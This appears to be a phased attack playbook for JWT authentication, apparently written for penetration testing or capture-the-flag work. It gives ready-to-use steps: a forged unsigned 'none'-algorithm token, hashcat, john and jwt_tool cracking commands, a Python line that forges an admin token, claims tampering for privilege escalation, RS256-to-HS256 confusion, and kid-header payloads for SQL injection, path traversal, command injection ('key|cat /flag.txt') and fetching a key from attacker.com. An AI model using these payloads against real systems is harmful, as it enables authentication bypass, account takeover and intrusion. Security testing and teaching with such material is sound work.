Phase 1: Obtain and decode the JWT
- Log in to obtain the token (check the Set-Cookie response header and JSON fields in the response body)
- Confirm the JWT format: three Base64 segments separated by
.(Header.Payload.Signature) - Use the jwt_decode tool or
echo '<part>' | base64 -dto decode manually:- Header: check the
algfield (HS256/RS256/none),kid/jku/x5uparameters - Payload: check
sub、role、admin、is_admin、user_id、expand other Claims - Record the signing algorithm, expiration time, and key permission fields
- Header: check the
- Check whether the token is expired: convert the
expfield to a Unix timestamp and compare with the current time - Compare JWTs of different users to find differences in permission-related fields
⛔ In-depth reference (must-read after discovering a JWT)
- RS256→HS256 algorithm confusion, kid injection (SQL/path traversal/command injection), jku/x5u replacement → references/jwt-advanced.md
- Complete weak-key cracking toolchain (hashcat/john/c-jwt-cracker/jwt_tool/Python + weak-key pattern table) → references/jwt-advanced.md
Phase 2: None Algorithm attack
- Change
algin the Header tonone, delete the Signature part (keep the trailing.) - Re-Base64-encode the Header and Payload, concatenate as
header.payload. - Send the request and observe whether the server accepts an unsigned token
- Try case variants to bypass:
"none","None","NONE","nOnE","NoNe" - Some libraries only bypass when alg is exactly
"none", so test each one
原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Phase 3: Weak-key cracking (HS256/HS384/HS512 only)
- Manually test common weak keys:
secret,password,123456,key,jwt_secret,changeme,""(empty string) - Use hashcat for offline cracking:
hashcat -m 16500 jwt.txt wordlist.txt - Use john:
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256 - Lightweight tool c-jwt-cracker:
./jwtcrack <token>(pure brute force, suitable for short keys) - jwt_tool all-in-one tool:
python3 jwt_tool.py <token> -C -d wordlist.txt - Forge a token once the key is known:
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))
→ Complete cracking toolchain and weak-key pattern table → references/jwt-advanced.md
Phase 4: Claims tampering
- Decode the Payload and list all Claims fields
- Modify permission-related fields:
role:user→admin|is_admin:false→true|user_id:5→1 - Try adding new fields:
"admin":true、"groups":["admin"] - Modify
expto extend the token validity period (e.g., change to a 2099 timestamp) - Re-sign with the known key, replace the original token, and send the request
- Compare responses to confirm whether privileges are elevated (check HTTP status codes, response content, accessible endpoints)
Phase 5: RS256→HS256 algorithm confusion
- Confirm the server uses the RS256 (asymmetric) algorithm for signing
- Obtain the public key: request
/api/jwks、/.well-known/jwks.json、/oauth/jwks - Change
algin the Header fromRS256toHS256 - Use the RS256 public key as the HS256 symmetric key to sign the token
- Send the tampered token to exploit the logic flaw where the server uses the public key for HMAC verification → Detailed principles and scripts → references/jwt-advanced.md
Phase 6: kid parameter injection
- Check whether the JWT Header contains the
kid(Key ID) field - SQL injection:
"kid":"1' UNION SELECT 'my-key' -- "→ usemy-keySignature - Path traversal:
"kid":"../../dev/null"→ Sign with empty file content as key - Command injection:
"kid":"key|cat /flag.txt"→ Some implementations execute shell commands - SSRF:
"kid":"http://attacker.com/key"→ Fetch key from attacker server → Full payload → references/jwt-advanced.md